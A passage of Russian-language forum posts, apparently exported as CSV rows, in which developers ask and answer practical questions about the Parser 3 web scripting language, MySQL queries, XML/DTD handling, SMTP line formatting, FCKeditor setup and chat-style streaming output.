думаю, в цепочке серверов, доставлявших испортившиеся сообщения (между собой почтовые сервера обмениваются тоже по протоколу SMTP; этот протокол не только между вами и вашим первым почтовым сервером), какой-то сервер не придерживается этого правила [i]попадётся мне \"<начало строки>..\", надо его преобразовать к \".\"[/i]. \
\
т.е. какой-то сервер нарушает спецификацию.\
диагноз: перефразируйте так, чтобы этих точек в начале строки не было.\
\
\
до кучи:\
многие почтовые сервера принудительно ограничивают длину строки.\
они вставляют разрыв строки, а в начало новой строки пишут !.\
т.е.\
было:\
aaaaaaaabbb<много>bbbbbbbbbbb<enter>\
стало\
aaaaaaaabbb<enter>\
!bbbbbbbbbbbb<enter>\
\
для текстовых писем это ещё небольшое зло (хотя тоже имеет смысл его иметь в виду),\
для html писем это может быть катастрофично."
"48933","Строго говоря, - это есть отступление от стандарта и по моему, так некрасиво делать, даже прикрываясь заботой об эффективности."
"48934","за развернутый ответ, это прояснило ситуацию. Как вариант: запись стилей как предложил Kaverdo \
\
body{}.inc{}\
A:hover {}.big{}\
\
Т.е. как Вы и сказали - пишем так, чтобы в начале строки искл. точку."
"48935","Это работает:[code]<!DOCTYPE page SYSTEM \"http://localhost/xsl/dtd/entities.dtd\">[/code]\
\
Это — нет:[code]<!DOCTYPE page SYSTEM \"xsl/dtd/entities.dtd\">[/code]\
\
Result: писать только с http://localhost/ (без относительных путей)?"
"48937","спецификация XML не требует поддержки каких-то конкретных протоколов.\
она написана в терминах URI.\
т.е. какие именно протоколы поддерживать, всегда было up-to-implementation."
"48938","если вы грузите .xml файл с диска, они работают относительно этого файла.\
\
если же создаёте в воздухе, то укажите базовый URI. см. документацию по xdoc::create."
"48944","Есть некое главное меню, описанное в sections.cfg в корне.\
Есть дерево со множеством папок. В одних лежит свой sections.cfg, в других ссылка формируется на основании данных, полученных из базы данных.\
Есть второстепенное меню, расположенное отдельно от главного меню (допустим, в разных ячейках таблицы).\
У меня очень простая, на первый взгляд, задача:\
чтобы второстепенное меню формировалось в одной ячейке с главным меню под соответствующим пунктом главного меню.\
Пример:\
\
Пункт 1 /home/\
Пункт 2 /car/\
Пункт 3 /work/\
Пункт 4 /pub/\
\
Нажали Пункт 1, видим:\
\
Пункт 1 /home/\
подпункт 1 /home/room1/\
подпункт 2 /home/room2/\
подпункт 3 /home/room3/\
Пункт 2 /car/\
Пункт 3 /work/\
Пункт 4 /pub/\
\
\
Нажали Пункт 2, видим:\
\
Пункт 1 /home/\
Пункт 2 /car/\
подпункт 1 /car/?new\
подпункт 2 /car/?old\
подпункт 3 /car/?green\
подпункт 4 /car/?bike\
Пункт 3 /work/\
Пункт 4 /pub/\
\
********\
1. отбросить в request.uri справа все, кроме /*/\
2. сравнить получившееся с sections.uri\
\
Только вот как это сделать поизящнее…"
"48946","[code]\
$trim_request_uri[^request:uri.match[/(.*?)^$][m]{/}]\
[/code]\
\
Или что-то в этом роде :)"
"48947","Можно в разделе «[url=\"http://www.parser.ru/forum/users/\"]участники форума[/url]» кроме количества пользователей online выводить список этих пользователей, чтобы можно было посмотреть кто именно сейчас в сети, дабы не тыкать по всем страницам?\
\
Было бы удобно, например, слева в колонке под строкой поиска."
"48948","[code]$xml[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<!DOCTYPE page SYSTEM \"xslt/dtd/entities.dtd\">\
...\
\
$xml[^xdoc::create[/]{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<!DOCTYPE page SYSTEM \"xslt/dtd/entities.dtd\">\
...\
\
$xml[^xdoc::create[/xslt/]{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<!DOCTYPE page SYSTEM \"dtd/entities.dtd\">\
...[/code]\
\
При всех этих вариантах .dtd запрашивается отсюда (проверено filemon):\
[code]D:\\projects\\_common\\cgi-bin\\parser\\\\xslt\\dtd\\entities.dtd[/code]\
\
Версии Парсера: 3.14, 3.20, 3.21 (Win 2k)."
"48950","Но в таблице ведь с пользователями есть графа online и в ней есть плюсики. Вот я про этих пользователей говорю :)"
"48951","вспомнил: не нашёл у libxml2 интерфейса задать этот путь вовремя.\
\
если очень хочется xdoc::create воздуха,\
можно попробовать создать для начала совсем пустой, указав base (можно указать /, Parser правильно поймёт).\
а потом попробовать добавить нужные узлы.\
\
кто расскажет, как обмануть libxml и сразу задать этот base без того, чтобы патчить эту либу: все скажут ему спасибо."
"48953","Пока PAF разбирается с libxml, можно делать так\
\
[code]\
$xml[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\"?>\
<!DOCTYPE document [ ^insert_entities[] ]>\
<document>\
...\
</document>\
}]\
\
@insert_entities[ent_url]\
$result[^file::load[text;$ent_url]] \
$result[\
	^taint[as-is][\
		^result.text.trim[start;<?xml version=\"1.0\" encoding=\"windows-1251\" ?>]\
	]\
]\
[/code]"
"48954","Хм, по-моему, для тех кто хоть начал читать доку, должно быть понятно, что request:uri содержит [b]строку[/b], а следовательно к ней можно применять ВСЕ методы класса [url=\"http://www.parser.ru/docs/lang/stringclass.htm\"]string[/url]\
Про то как это делать подробно и с примерами написано в документации. Для каждого вашего частного случая никто вам в доке главу писать не собирается. Дока и так отличная."
"48956","у него второй параметр это набор символов, не шаблон - так можно и лишнего случайно отрезать.\
\
Можно попробовать иначе немного:\
[code]^result.text.trim[start;<]\
^result.text.trim[start;?xml version=\"1.0\" encoding=\"windows-1251\" ?>][/code]"
"48957","[code]\
^result.text.match[^^.+?\\n][]{}\
[/code]"
"48958","Сейчас ник — ссылка на все сообщения автора.\
\
Предлагаю сделать как в просмотре пользователей: ник — ссылка на профиль, число сообщений — на сообщения автора."
"48959","$str[$request:uri]\
$parts[^str.split[/;lh]]\
/$parts.1/"
"48961","Вот вы сейчас читаете мое сообщения и не знаете в онлайне я или нет.\
\
Можно ли ставить какую то пометку возле автора сообщения?"
"48962","Почему то на моем сервере Ваш пример не работает - портятся закачанные файлы\
Как показали исследования 0x00 в них заменяется на 0x20\
Ума не приложу почему это происходит 8-("
"48965","[quote]As of MySQL 5.0.3, the BIT data type can be used to store bit-field values. A type of BIT(M) allows for storage of M-bit values. M can range from 1 to 64.[/quote]\
\
Не используйте SET для такого типа данных )"
"48968","Зачем так?\
\
[code]\
$str[$request:uri]\
$parts[^str.split[/;lh]]\
[/code]\
\
Когда можно сразу так:\
\
[code]\
$parts[^request:uri.split[/;lh]]\
[/code]"
"48969","[b]Задача:[/b] при выборе определенной категории товаров показать по каким параметрам может осуществляться фильтрация.\
\
К примеру, к категории товаров с идентификатором = 1 принадлежат следующие преамбулы фильтров (текст, который идет перед наименованием фиотра) — 1, 2, 23.\
И при выводе данных это должно выглядеть так:\
[i]Гардероб: мужской | женский | детский \
Идентификатор преамбулы: 1\
Стиль гардероба: casual | классический | модный | спортивный \
Идентификатор преамбулы: 2\
Сезон: зима | лето | осень \
Идентификатор преамбулы: 23\
[/i]\
\
[b]Проблема:[/b]\
Но т.к. данные группируются по идентификатору преамбулы, вывод данных выглядит так:\
[i]\
Гардероб: мужской | женский | детский \
Идентификатор преамбулы: 1\
Стиль гардероба: casual | классический | модный | спортивный \
Идентификатор преамбулы: 2\
[/i]\
Поскольку идентификатор преамбулы «Сезон» принадлежит двум категориям товаров (category_id  = 1 и 3).\
\
Не могу понять, как мне обойти эту проблему?\
\
Таблица relations_context_filter\
context_filter_id 	context_preamble_id 	category_id \
1	1	1\
2	1	1\
3	1	1\
4	2	1\
5	2	1\
6	2	1\
7	3	4\
8	23	3\
9	23	3\
10	23	3\
11	2	1\
8	23	1\
9	23	1\
10	23	1\
1	1	3\
2	1	3\
3	1	3\
\
Таблица context_preamble\
context_preamble_id 	context_preamble \
1	Гардероб\
2	Стиль гардероба\
3	Гардеробный\
23	Сезон\
\
Таблица context_filter\
context 	context_filter_id \
мужской	1\
женский	2\
детский	3\
casual	4\
классический	5\
модный	6\
гардеробный	7\
зима	8\
лето	9\
осень	10\
спортивный	11\
\
[code]\
#Получаем индентификатор выбранной категории товаров\
$id[^form:id.int(0)]\
\
^connect[$connect_string]{\
	$context_filter[^table::sql{select\
		context_filter.context_filter_id, context_filter.context, context_preamble.context_preamble_id, context_preamble.context_preamble, context_preamble.link_to_context_preamble_id, categories.category_id, companies.company_id\
	from\
		context_filter, context_preamble, relations_context_filter, categories, companies\
	where \
		context_filter.context_filter_id = relations_context_filter.context_filter_id\
		and context_preamble.context_preamble_id = relations_context_filter.context_preamble_id\
		and categories.category_id = relations_context_filter.category_id\
GROUP BY context_filter_id\
}]\
\
\
$context_preamble[^table::sql{SELECT relations_context_filter.category_id, relations_context_filter.context_preamble_id, context_preamble.context_preamble, context_preamble.link_to_context_preamble_id FROM context_preamble, relations_context_filter, categories WHERE relations_context_filter.context_preamble_id = context_preamble.context_preamble_id AND relations_context_filter.context_preamble_id = context_preamble.context_preamble_id GROUP BY context_preamble_id}]\
\
^context_preamble.menu{\
#если у выбранной категории есть преамбула контекстного фильтра выводим ее\
	^if($context_preamble.category_id eq $id){\
		<font color=\"cccccc\">Идентификатор преамбулы: 	$context_preamble.context_preamble_id</font><br>\
		<span>$context_preamble.context_preamble: </span> \
		$context_preamble_parent[$context_preamble.context_preamble_id]\
		$contex[^context_filter.select($context_filter.context_preamble_id == $context_preamble_parent)]\
			^contex.menu{\
				<span style=\"color:green\">$contex.context</span>\
			}{\
				<span style=\"color:green\"> | </span>\
			}\
	}\
}{\
	^if($context_preamble.category_id eq $id && def $contex){\
		<br>\
	}\
}\
[/code]"
"48970","... напишите мне ещё раз - у меня база почтовая слетела :( Сорри."
"48971","Потратил некоторое время на поиск причины, может быть кому пригодится:\
\
при обновлении mysql до 5.x возникает ошибка при добавлении в базу русского текста - в лог-ах:\
\
Data too long for column ...\
\
(английский текст добавляется без ошибок)\
\
\
Если в парсере в строке подключения в СУБД указать charset=cp1251_koi8:\
\
$connect-string[mysql://...:...@.../...?charset=cp1251_koi8]\
\
то ошибка исчезает."
"48972","тяжеловатый (в килограммах) у вас получился вопрос.\
не уверен, что у многих будут силы понять, что вы спросили. у меня таких сил нет.\
\
если читать только начало вашего письма (до сюда хватило), то:\
\
не нужно выдумывать сложную штуку \"преамбула\" и пытаться это проткнуть мозгом.\
\
если речь идёт о кусочке формы, который в разных разделах разный, то будьте проще:\
\
[code]\
$section2filter[\
   $.обувь[\
       стиль: <select name=style><option>классический,...\
       размер: <select name=size>42,...\
   ]\
   $.одежда[\
        рост: <select name=height>168,...\
   ]\
]\
<form>\
   $section[обувь]\
   $section2form.$section\
</form>\
[/code]\
и потом проверяете, все возможные поля, и если по ним надо фильтровать\
[code]\
$field[style]\
^if(def $form:$field){...}\
[/code]\
, фильтруете."
"48973","календарь (может на javascript), что бы можно было интегрировать его в страницы на парсере. \
Назначение: для выбора дат и подставления их в поля формы для отправки на сервер"
"48974","[url=\"http://www.codingmonkeys.de/subethaedit/\"]SubEthaEdit[/url], мне понравился, есть русский интерфейс"
"48976","Я им пользуюсь на нескольких сайтах, в общем удобная вещь.\
http://calendar.moonscript.com/dateinput.cfm"
"48978","а не исключительно string, как сейчас.\
\
Потому что когда есть @prostprocess[], то в нем можно было бы продолжать работу, например, с экземляром xdoc:\
[code]\
@main[]\
$result[^xdoc::load[...]]\
\
@postprocess[doc]\
$tdoc[^doc.transform[...]]\
$result[^tdoc.string[]]\
[/code]\
\
А сейчас Parser выдает:\
[quot]is 'xdoc', it has no string representation[/qout]\
\
Вот если и сам @postrocess[], если он определен, возвращает что-то отличное от string, тогда пусть ругается."
"48979","Т.к. если @prostprocess[] не определен, \
то браузеру будет выдаваться результат произвольного типа.\
\
А это не есть хорошо"
"48981","Ставлю FCKeditor. Распаковал архив. Создал /FCKeditor/editor/.htaccess со строкой RemoveHandler parsed-html html. В http://localhost/FCKeditor/editor/filemanager/browser/default/connectors/test.html при попытке upload файла пишет: \"Method Not Allowed\
The requested method POST is not allowed for the URL /FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp\"\
Как с этим побороться?"
"48982","уже опробовал, очень удобная вещь :-)"
"48983","Нужно реализовать нечто подобное используемому в чатах, когда страница загружается не полность, а по мере появления новых данных которые подгружаются.\
\
Мысль такая:\
Запустить демон на хосте:порте, на который отправлять пользователей хотс:порт/?uin&data=1&etc\
Этот демон вызывает скрипт парсера передавая ему параметры,\
скрипт в свою очередь возвращает некоторые данные например текст,\
который передаётся странице с uin\
\
также скрипт парсера может сам обратиться к демону и попросить передать текст странице с uin, uin'ами, или просто на все страницы\
\
Собственно вопрос, никто не встречал такого демона, а если встречал то где и как он(и) называе(ю)тся как класс\
Заранее благадарю."
"48984","Если очень хочется или даже прямо прижало - есть тысяча разных строк, генерация которых занимает большое время, но которые нужно отдавать сотне пользователей в секунду (xml-rpc) и есть какой-нибудь mysql, то можно сделать так:\
\
выкачиваем и устанавливаем libmemcache-1.3.x http://people.freebsd.org/~seanc/libmemcache/\
выкачиваем http://jan.kneschke.de/projects/mysql/udf/udf_memcache.c\
компилируем: \
$ gcc -DDBUG_OFF -shared -o udf_memcache.so udf_memcache.c \\\
  -g -Wall -O2 -lmemcache `mysql_config --cflags`\
выкачиваем http://jan.kneschke.de/projects/mysql/udf/create-function-memcache.sql\
устанавливаем: \
mysql < create-function-memcache.sql"
"48985","Если это ответ мне, то вопрос не столько в ресурсоёмкости сколько в скорости оповещения пользователя об изменениях на сервере, те не с интервалом несколько секунд (как с использованием циклического обновления страницы), а моментально - со скоростью доставки очередной порции ip пакетов"
"48986","это какраз то, о чём вопрос"
"48987","Примерно, но несовсем\
хотелось бы именно демон с возможностями описанными мной или аналогичными.\
Это чат вроде не GPL, но код демона я помотрю в надежде что-нибудь понять :)"
"48988","и понять там что-то не просто"
"48989","Вам никто не запрещает вызвать из main свой метод, в который передадите xdoc."
"48990","есть ли смысл юзать парсер для работы с внутренней бд фирмы, используя для просмотра/редактирования состояния заказов, финансовых операций, общей статистики и пр? \
а то не хочется заморачиваться писать на том же дельфи все то же самое, но с большей головной болью.\
или не хватит для этого возможностей?"
"48991","А если вместо циклического обновления использовать JSHttpRequest, который раз в N секунд будет вызывать скрипт с проверкой некоего \"триггера\" (очень быстрая проверка). Как только зафиксируется изменение — страница обновится."
"48992","теже самые n сек, а не действие по факту происшествия"
"48993","Если вам возможностей SQL хватет, то всё ОК."
"48994","Задумался над тем, каким образом можно настроить редактор на изменении данной строки при изменении содержимого сайта?\
К примеру такие Linux редакторы как jEdit, Quanta+..."
"48996","Что то типа:\
\
<xsl:template match=\"/\">\
     <xsl:apply-templates select=\"//level[@id='$form:id']\"/>\
</xsl:template>"
"48998","и ^xdoc.transform[][>документацию на это<].\
\
ещё вариант:\
подмешать нужные данные во входной XML.\
[code]\
<root>\
   <form>\
       <id>123</id>\
....\
[/code]"
"48999","раньше CGI скрипты под apache были сильнобуферизованы, и много чего происходило хитро. и чтобы это обходить нужны были nph-скрипты.\
в наши дни всё проще: выведите скриптом HTTP заголовок,\
после чего потихоньку выводите нужные данные.\
[code]\
$console:line[content-type:text/html]\
$console:line[]\
^while(true){\
   ^if(есть данные){\
      $console:line[^untaint[html]{вывести их}<br>]\
   }{\
#не нагружать CPU лишними циклами\
#оператор, увы, в документацию не попал\
#трёхсекундная пауза\
      ^sleep(3)\
#поддерживать интерес браузера к нам\
#если ему долго ничего не говорить, \
#браузер разорвёт соединение по timeout\
      $console:line[ ]\
   }\
}\
[/code]"
"49003","для примера надо умножить 3 секунды на 20000 итераций\
3*20000  = 60000 секунд = 1000 минут = 16,67 часов\
после чего говорить о перерегистрации сессии или тихо заускать новый цикл\
Вам этого мало?"
"49004","Вписываю в настройки виртуального хоста\
<VirtualHost ps.site.ru:80>\
  ...\
  ...\
  DocumentRoot /usr/local/www/data/ps/WWW\
  AddHandler parsed-handler html\
  Action parsed-handler /cgi-bin/parser3.cgi\
  SetEnv CGI_PARSER_LOG /usr/local/www/data/ps/WWW/logs/parser3.log\
</VirtualHost>\
Перезапускаю apache\
Парсер упорно продолжает писать лог в каталог с parser3.cgi\
\
mod_env установлен\
парсер версии 3.1.3"
"49008","Меня смущает вопрос ресурсоёмкости\
это получается на 1 ГБ ОЗУ максимум 300 пользователей\
\
При всех остальных плюсах по прежнему остаётся дискретность, нет возможности без интервалов отсылать свежие данные.\
\
\
зы: Я наверно очень много кушать :)"
"49009","Есть опыт создание CRM-систем для рекламного агентства и автомастерской. Всё действительно ОК. Раньше всё делал на delphi, сейчас тжс реализовал на парсере - никаких проблем."
"49011","как обмануть ограничение Parser по длине цикла, наверное, не нужно писать :)"
"49012","конечно, для этой задачи нужно писать что-то специализированное.\
\
как всегда и делают, когда пишут chat-ы, которые [b]работают[/b] под нагрузкой.\
\
до кучи: почитайте о fast_cgi.\
\
на perl вполне можно написать работоспособное, займёт не очень много времени."
"49014","если кто использует [url=\"/examples/cache/\"]класс для кеширования[/url] страницы целиком вместе с её заголовками - обязательно обновите.\
\
там я поправил мой мощный косяк с заданием времени кеширования записей в hashfile, еще один небольшой косяк который мог бы проявиться при кешировании нескольких кусков страницы отдельно и заодно изменил способ хранения записей в хешфайле, последний теперь должен занимать примерно в 1.5 раза меньше места. способы использования не менялись."
"49015","[i]Используя следующий запрос:[/i]\
[code]\
^connect[$connect_string]{\
	$companies[^table::sql{select\
		companies.company_id, company_name, address, telephone, email, www, dt_last_update, decription, relations_companies.category_id, parent_id, category_name, link_to_category_id\
	from\
		companies, relations_companies, categories\
	where \
[b]		relations_companies.category_id = $id and[/b]\
		relations_companies.company_id = companies.company_id\
		and relations_companies.category_id = categories.category_id\
ORDER BY dt_last_update DESC\
	}\
]}\
[/code]\
\
Запрос выполняется, как положено.\
\
[i]При модификации запроса следующим образом:[/i]\
[code]\
^connect[$connect_string]{\
	$companies[^table::sql{select\
		companies.company_id, company_name, address, telephone, email, www, dt_last_update, decription, relations_companies.category_id, parent_id, category_name, link_to_category_id\
	from\
		companies, relations_companies, categories\
	where \
[b]		^if($id is junction){relations_companies.category_id = $id and}[/b]\
		relations_companies.company_id = companies.company_id\
		and relations_companies.category_id = categories.category_id\
ORDER BY dt_last_update DESC\
	}\
]}\
[/code]\
\
он перестает работать. Переменная $id считается почему-то неопределенной.\
В чем проблема и как мне быть, если я хочу использовать условие в запросе WHERE?"
"49016","что переменная считается неопределенной и что там вообще хранится ?"
"49017","если у Вас в id число, пришедшее от пользователя, которому Вы не доверяете, то нужно делать примерно так:\
[code]\
^connect[$connect_string]{\
...\
	from\
		companies, relations_companies, categories\
	where \
		relations_companies.category_id = ^id.int(0) and\
...\
	}\
]}\
[/code]\
А вообще, для полной картины, Вы бы рассказали, что всё таки у Вас в $id и что за задача перед Вами стоит."
"49018","Переменная $id хранит идентификатор выбранной пользователем категории в каталоге.\
\
На главной странице есть каталог, нажимая на ссылку в ввиде\
[code]<a href=\"/result/?id=$sub_categories.category_id\">$sub_categories.category_name</a>[/code]\
\
Пользователь поподает на страницу, где показывается какие данные содержит данная категория\
переменная получается следующим образом:\
[code]$id[^form:id.int(0)][/code]\
\
Так вот, когда я явно прописываю в [code]WHERE relations_companies.category_id = $id and[/code]\
все работает.\
Когда же пишу [code]^if($id is junction){relations_companies.category_id = $id and}[/code] не работает. Переменная считается почему-то пустой.\
\
Условие предполагалось использовать т.к. пользователь находясь на этой странице может выбрать подкатегорию и ее идентификатор запомнится, этаже страница перегрузиться и в вышеописанном условии надобности не будет, нужно будет другое условие."
"49019","в вашем случае лучше написать:\
$id(^form:id.int(0))\
\
и в запросе использовать конструкцию:\
^if($id){relations_companies.category_id = $id and}\
"
"49020","Код:\
[code]^for[i](1;10){$i - }{($i)<br />}[/code]\
\
Возвращает:\
[code]\
1 - (2)\
2 - (3)\
3 - (4)\
4 - (5)\
5 - (6)\
6 - (7)\
7 - (8)\
8 - (9)\
9 - (10)\
10 - \
[/code]\
\
Я ожидал получить:\
[code]\
1 - (1)\
2 - (2)\
3 - (3)\
4 - (4)\
5 - (5)\
6 - (6)\
7 - (7)\
8 - (8)\
9 - (9)\
10 - \
[/code]\
\
Почему так происходит? Не понимаю алгоритма..."
"49023","Сейчас говорят поямится версия MySQL 5.1.5 (http://dev.mysql.com/tech-resources/articles/mysql-5.1-xml.html)\
с функциями работы с XML, хранимым в БД.\
Так вот вопрос - стоит ли хранить XML-описание объектов в БД и осуществлять поиск по ним типа\
where xml_data like '%<mytag>$x</mytag>%'\
\
Понятно что по индыксированным полям будет искаться на порядок быстрее. Но я тут поставил сейчас эксперимент:\
вогнал в таблицу 100.000 записей с XML приличных размеров (объём таблицы составил 225 метров).\
\
Запрос вида where xml_data like '%<mytag>$x</mytag>%'\
выполняется 0,77 сек.! Запрос по индыксированному полю id выполняется 0,02 сек.\
\
Вопрос: 0,77 сек. на 100.000 записей (225 мегабайт текста XML) - это много?\
\
Или пытаться хранить инфу по другому - не в XML виде?\
Просто решаемая задача - это хранение библиотечного каталога.\
Есть общепринятые форматы хранения подобной информации типа MODS или XMLMARC. Поэтому формат хранения должен быть хоть как-то (а желательно полностью)совместим с этими стандартами. Наиболее просто в реализации - это использовать XML. Но насколько это эффективно?"
"49024","неполучается подключить ПАРСЕР\
невключается .htaccess\
неработает ScriptAlias /cgi-bin/ \"/путь/от_корня/ФС/cgi-bin/\"\
\
на всех хостах без SSL всё отлично работает, может кто знает как это поправить?"
"49026","Просто все говорят МЕДЛЕННО, но никто не говорит на сколько медленно!\
Все ссылаются на RTFM и типа теория на этот счёт говорит, что так делать нельзя категорически. Но экспериментальные данные говорят немного обратное.\
Я и спрашиваю 0,77 сек. это много?\
Это вопрос из серии 160 км/час это много или мало? По сравнению с 240 км/час мало :), а чтобы в столб въехать вполне достаточно :("
"49028","вы же дали ссылку на статью, почитайте же её!\
никаких мохнатых\
[quote]\
…where xml like '%<mytag>$x</mytag>%'\
[/quote]\
\
теперь можно будет\
[code]\
…where EXTRACTVALUE(xml,'//mytag') = '$x'\
[/code]"
"49029","там написано, что это появится в версии 5.1.5\
а сейчас доступна для скачивания версия 5.1.4 :(\
\
но впорос был про скорость ..."
"49030","на такой вопрос ответ: нет.\
\
однако вам ничто не мешает разработать такую несложную схему:\
\
на XSL языке описываете преобразование вашего \"удобного в других отношениях XML\" к ряду таблиц базы данных.\
\
напускаете, получаете простые и удобные для обычных запросов таблицы. \
создаёте правильные обычные индексы. \
радуетесь.\
\
данные обновились -- наполняете таблицы по новой.\
радуетесь."
"49031","Конечно, оффтопик, но просто интересно: какая посещаемость у parser.ru, если не секрет?"
"49034","Код Sql запроса:\
[code]^connect[$connect_string]{      \
		^void:sql{insert into order (type, des, status, un, date, userid, amount) values ('2', '$1', 'int', '$2', '$3', '$4', '$5')}\
	}[/code]\
Выдает ошибку:\
[quot]insert into order (type, des, status, un, date, userid, amount) values ('2', 'Translation and delivery of the following letters:37', 'int', '0464BBC72E861AEA', '', '1', '7')' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order (type, des, status, un, date, userid, amount) values ('2', 'Translation an' at line 1 [sql.execute] [/quot]"
"49035","insert into `order` (`type`, `des`, `status`, `un`, `date`, `userid`, `amount`) values ('2', '$1', 'int', '$2', '$3', '$4', '$5')"
"49036","если к вам на сайт придёт одновременно много людей, это [b]очень[/b] медленно.\
\
если ходит человек в час, тут можно хоть три секунды искать, подождёт."
"49038","... чтобы сервер его не воспринимал как таковое, его нужно заключить в соответствующие кавычки."
"49039","перед прочтением обязательно вникнуть в терминологию. \
см. ссылку внизу страницы."
"49041","[code]^connect[$connect_string]{$news[^table::sql{select 1 from u_b where u='$u'}]}[/code]\
[code]\
^connect[$connect_string]{^void:sql{update u_b set a='$n' where u='$u'}}[/code]"
"49043","то http://www.parser.ru/forum/?id=49038"
"49044","Есть скрипт, который принимает из формы zip-архив, распаковывает и ресайзит фотки, сохраняя оригинал в папку \"big\".\
\
Когда я закачиваю от себя, права у оригинальных изображений выставляются 644 - открываются нормально.\
\
При закачке с другого компа выставляются права 600 - и при попытке просмотра вываливается \
[quote]Forbidden\
You don't have permission to access /photos/11/big/Showa001-1.jpg on this server.[/quote]\
\
В чём может быть причина?"
"49045","Здраствуйте.\
Допустим, напишу сайт на парсере. Согласен, что очень удобно. Но смогу ли я разместить его на com.ua????\
Что нужно сделать, чтобы сайты работали на данном хосте?"
"49047","Нпример один из приведённых сайте\
http://www.parser.ru/hosters/"
"49048","Видимо качаете разными программами, возможно в этом причина"
"49049","FCKeditor2.1 (та же беда и в версиях 2.2, 1.6):\
\
В файле fckconfig.js раскоментировал php в строках: FCKConfig.LinkBrowserURL, FCKConfig.ImageBrowserURL, FCKConfig.FlashBrowserURL, FCKConfig.LinkUploadURL, FCKConfig.ImageUploadURL, FCKConfig.FlashUploadURL.\
\
В файле config.php $Config['Enabled'] = true ;\
\
Но все равно в http://localhost/FCKeditor/editor/filemanager/browser/default/connectors/test.html при выполнении любой команды пишет:\
Method Not Allowed\
The requested method POST is not allowed for the URL /FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php\
----------------------------------------------------------------\
Apache/1.3.27 Server at localhost Port 80\
\
\
Так почему же метод не применим для данного ресурса?"
"49052","побьет после этой ссылки все остальное :-)"
"49054","[quote]Есть скрипт, который принимает из формы zip-архив,[/quote]\
\
через веб-интерфейс.."
"49055","нужно чтобы была возможность запускать cgi скрипты, + возможность использовать .htaccess, больше вроде ничего не надо. Использование базы данных - опционально."
"49058","Допустим имеем табличку my_table с полем body типа text, в которой лежит запись\
<p>bla [color=\"#ff0000\"]\"[/color]bla[color=\"#ff0000\"]\"[/color] bal bal</p>\
<p>bla bla bal bal</p>\
\
делаем кешированный запрос:\
[code]\
$result[^MAIN:pSQL.table{\
	SELECT\
		body\
	FROM\
		my_table\
}[][\
	$.file[body.cache]\
]]\
[/code]\
\
При этом создается кеш-файл body.cache с таким содержимым:\
[code]\
\"body\"\
\"bla\" bal bal</p> <p>bla bla bal bal</p>\"\" bal bal</p> <p>bla bla bal bal</p>\"\" bal bal</p> <p>bla bla bal bal</p>\"\
[/code]\
и когда делается повторный запрос, вся эта чепуха выдается в качестве результата запроса.\
Причина очевидна -- ковычки, которые нужно убирать.\
\
Сколько мне пришлось пережить из-за этого!\
\
Миша, это баг?"
"49061","похоже поправил не все.\
\
варианты:\
- отключите пока кеширование для запросов которые могут доставать подобное\
- перепишите метод, чтобы данные сохранялись в файлик не с использованием ^table.save[...;$.encloser[\"]], а с помощью своего метода (раньше я сохранял без encloser но пробегался по всем ячейкам таблицы и делал replace ^#0A на \\n и ^#09 на \\t. после загрузки делал обратные замены (сами понимаете это значительно медленнее).\
\
т.к. я не использую это кеширование для запросов, возвращающих подобные буквы, я подожду правки от ПАФ-а :)"
"49062","Я просто подменял разделитель, к примеру:\
[code]$.encloser[^#7F][/code]\
на символ заведомо не встречающийся в данных, работало даже на старых версиях Парсера.\
С 3,2,х пока не тестил с простым разделителем, а с этим - работает."
"49064","Тело статьи после типографирования может содержать символ \" (символ дюйма).\
Просто я после обработки типографом заменю \" на ' и только потом положу в базу.\
\
Еще не пробовал, но думаю поможет.\
\
PS\
Я пользуюсь оригинальным sql.p.\
Не хотелось бы ничего перекрывать. Поэтому буду ждать PAFиной правки :)"
"49068","что интересно, по адресу http://www.artlebedev.ru/.stat/ выводится окно с предожением ввести логин/пароль. Позвольте угадаю, что там? ;)"
"49070","возможно ли стандартными функциями преобразовывать большие числа вида 21003043 в 21 003 043?"
"49071","Метод @number_format[]."
"49075","И вообще реально ли это сделать средствами парсера?\
\
(Задача: динамически отображать % загружаемого через форму файла)."
"49076","Если пробовали - поделитесь впечатлениями :)"
"49077","К примеру, я собираю несколько разных идентификаторов с помощью checkbox’ов, которые нужно записать в одну таблицу в одно поле. Соответственно мне нужно в одно поле несколько раз записать идентификатор. Как это сделать?"
"49079","Почему \
\
[code]\
$in(^string:sql{SELECT SUM(dirty_summ*course) FROM income WHERE status='1' AND parent_id='$id' AND date<'[color=\"#ff0000\"]$y - $m[/color]'}[$.default{0}])\
[/code]\
\
и без пробелов: \
\
[code]\
$in(^string:sql{SELECT SUM(dirty_summ*course) FROM income WHERE status='1' AND parent_id='$id' AND date<'[color=\"#ff0000\"]$y-$m[/color]'}[$.default{0}])\
[/code]\
\
дают разные результаты?"
"49083","Если [url=\"http://www.parser.ru/docs/lang/definemethod.htm\"]явно определить $result[/url], использование текста в коде метода приводит к BAD_NONWHITESPACE_CHARACTER_IN_EXPLICIT_RESULT_MODE. Понятно, что так и задумано, но в таком случае стоит изменить описание в документации на более внятное."
"49085","Допустим текущий url страницы такой: http://www.name.ru/name.html?name_id=36.\
Если я использую конструкцию [code]http://$env:SERVER_NAME$request:uri[/code]\
Результат получается следующим: [quot]http://www.name.ru:uri[/quot]\
\
Как мне получить текущий url?"
"49087","можно подсмотреть или позаимствовать:\
\
http://pdoru.from.ro/\
http://www.codeproject.com/aspnet/File_Upload_Progress_Bar.asp\
http://sean.treadway.info/demo/upload/\
http://www.experts-exchange.com/Web/Web_Languages/Q_20972567.html\
http://www.motobit.com/help/scptutl/upload.asp\\\
\
P.S. [url=\"http://www.google.ru/search?q=file+upload+progress+bar&start=0&ie=utf-8&oe=utf-8\"]Use Google ;-)[/url]"
"49088","Насколько я знаю, Eclipse можно настроить для работы php;\
\
Было бы интересно настроить эту среду для работы с парсером :)"
"49090","Я правильно понял, что \"Kate\" существует только под linux :(\
\
Хочется под Windows найти нормальную среду, Eclipse очень интересная штука в этом плане. \
\
А то у нас получается доступен только Far с подсветкой маловато - не серьезно :("
"49091","А хочется что-то навроде Zend IDE на  Парсере."
"49092","Используются Misha v.3' \
auth.p, sql.p, mysql.p, \
my_auth.p, в котором перекрыты некоторые методы auth.p\
\
Под PARSER 3.2.1 не работает код\
[code]^csql.now[][/code]\
с записью лог\
